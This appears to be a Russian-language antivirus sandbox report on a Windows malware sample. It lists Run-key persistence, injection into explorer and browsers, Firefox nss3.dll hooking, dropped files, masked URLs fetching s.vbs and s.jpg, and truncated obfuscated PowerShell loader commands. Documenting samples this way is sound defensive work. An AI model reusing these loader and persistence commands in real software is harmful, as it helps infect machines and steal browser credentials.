Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%LOCALAPPDATA%\Microsoft\vbc.vbs '
- [<HKLM>\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] 'OJITTXUPZ' = '%ProgramFiles(x86)%\Grx4\ThumbCacheq4n.exe'
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\vbc.vbs"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%LOCALAPPDATA%\Microsoft\vbc.vbs '
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $y=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal df $y;$wqawawaqwwsddddwssfsf4324twggwgggwggxxxxxxxxxxxxxxxxxx=@(36,84,98,111,110,101,61,39,42,...
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\notepad.exe
- %WINDIR%\explorer.exe
- %WINDIR%\syswow64\ipconfig.exe
следующие пользовательские процессы:
- iexplore.exe
- firefox.exe
Перехватывает функции
в браузерах
- Процесс firefox.exe, модуль nss3.dll
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\vbc.vbs
- %LOCALAPPDATA%\microsoft\vbc.vbs
- %APPDATA%\9390t9qe\939logri.ini
- %APPDATA%\9390t9qe\939logrv.ini
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %APPDATA%\9390t9qe\939logim.jpeg
- %APPDATA%\9390t9qe\939logrf.ini
Сетевая активность
TCP
Запросы HTTP GET
- http://ar##fm.gr/all/s.vbs
- http://ar##fm.gr/all/s.jpg
- http://www.41##eo.com/fc0/?lN#########################################################################################
UDP
- DNS ASK ar##fm.gr
- DNS ASK 41##eo.com
- DNS ASK vi##.ltd
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $y=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal df $y;$wqawawaqwwsddddwssfsf4324twggwgggwggxxxxxxxxxxxxxxxxxx=@(36,84,98,111,110,101,61,39,42,...' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%LOCALAPPDATA%\Microsoft\vbc.vbs '' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c copy "%APPDATA%\vbc.vbs " "%LOCALAPPDATA%\Microsoft\" /Y' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '<SYSTEM32>\cmd.exe' /c copy "%APPDATA%\vbc.vbs " "%LOCALAPPDATA%\Microsoft\" /Y
- '%WINDIR%\syswow64\notepad.exe'
- '%WINDIR%\syswow64\ipconfig.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\notepad.exe"
- '%ProgramFiles(x86)%\mozilla firefox\firefox.exe'
